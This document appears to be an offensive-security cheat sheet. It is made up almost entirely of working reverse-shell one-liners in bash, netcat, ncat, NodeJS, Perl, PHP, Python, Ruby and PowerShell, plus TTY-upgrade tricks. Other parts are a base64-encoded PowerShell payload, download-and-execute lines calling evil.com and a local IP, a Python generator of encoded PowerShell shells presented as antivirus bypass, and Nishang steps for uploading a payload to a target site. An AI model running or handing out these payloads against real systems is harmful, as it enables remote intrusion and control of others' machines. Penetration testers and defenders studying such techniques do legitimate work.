Shell

Upgrade to Fully Interactive TTY

After reverse shell, the shell has poorly functions, so we can upgrade to more functional shell.

Upgrade

After connecting to the target shell with reverse shell, it's recommended to make the shell to be more elegant.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# or
python -c 'import pty; pty.spawn("/bin/bash")'
# or
python2 -c 'import pty; pty.spawn("/bin/bash")'
# or
SHELL=/bin/bash script -q /dev/null

The commands below make our shell even more perfect.

Ctrl+z
stty raw -echo;fg
Enter x2
export TERM=xterm

Reverse Shell Cheat Sheet

Setup Listener

First of all, we need to start a listener in local machine to get an incoming connection.

nc -lvnp 4444

# For more elegant shell, use `rlwrap`.
# https://github.com/hanslub42/rlwrap
rlwrap nc -lvnp 4444

Online Generator

• Reverse Shell Generator

Bash

bash -i >&  /dev/tcp/10.0.0.1/4444 0>&1
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

# For URL param
/?q=bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261
/?q=`bash+-c+'bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261'`

with Base64

Execute the following commands in target machine.

echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | base64
echo <base64_string> | base64 -d | bash

Netcat OpenBSD

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

Ncat

ncat 10.0.0.1 4444 -e /bin/bash
ncat 10.0.0.1 4444 -e /bin/sh
ncat 10.0.0.1 4444 -c bash
ncat --udp 10.0.0.1 4444 -e /bin/bash

nc 10.0.0.1 4444 -e /bin/bash
nc 10.0.0.1 4444 -e /bin/sh
nc 10.0.0.1 4444 -c bash
nc --udp 10.0.0.1 4444 -e /bin/bash

busybox nc 10.0.0.1 4444 -e bash

NodeJS

Reference: https://medium.com/dont-code-me-on-that/bunch-of-shells-nodejs-cdd6eb740f73

node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/revshell.ps1')

powershell -c "Invoke-Expression (Invoke-WebRequest -usebasicparsing http://10.0.0.1:8000/revshell.ps1)"

# Base64-encode (UTF-16LE).
# Use CyberChef: "Encode text (UTF-16LE)" -> "To Base64"
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMAAuADAALgAxACcALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Bypass AV (Antivirus)

• powercat

• Nim Reverse Shell

• Custom Python Script

#!/usr/bin/env python
import base64
import sys

if len(sys.argv) < 3:
  print('usage : %s ip port' % sys.argv[0])
  sys.exit(0)

payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())

Then execute it and write to a file.

# we can specify arbitrary file format for Windows such as .bat, .cmd, etc.
python3 generate.py <ip> <port> > shell.bat

Start a listener for receiving incoming requests. Specify the port which was given the previous command.

nc -lvnp <port>

After that, upload shell.bat to target website.

Nishang

Nishang is the Offensive PowerShell for red team, penetration testing and offensive security.

1. Preparing the Payload in Your Local Machine

First off, copy the payload to the current working directory.

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./shell.ps1
mv Invoke-PowerShellTcp.ps1 shell.ps1

Add the following code to the final line in the payload (shell.ps1).

Invoke-PowerShellTcp -Reverse  -IPAddress <your-local-ip> -Port 4444

2. Opening Wev Server in Your Local Machine

To download the payload and execute the reverse shell in the target machine, open the web server in your local machine.

python3 -m http.server 8000

3. Start a Listener

And start a listener for receiving incoming requests in our local machine.

nc -lvnp 4444

4. Download the Payload and Executing Reverse Shell

In the target machine, download the local-hosted payload and run reverse shell.

cmd /c powershell IEX (New-Object Net.WebClient).DownloadString('http://<your-local-ip>:8000/shell.ps1')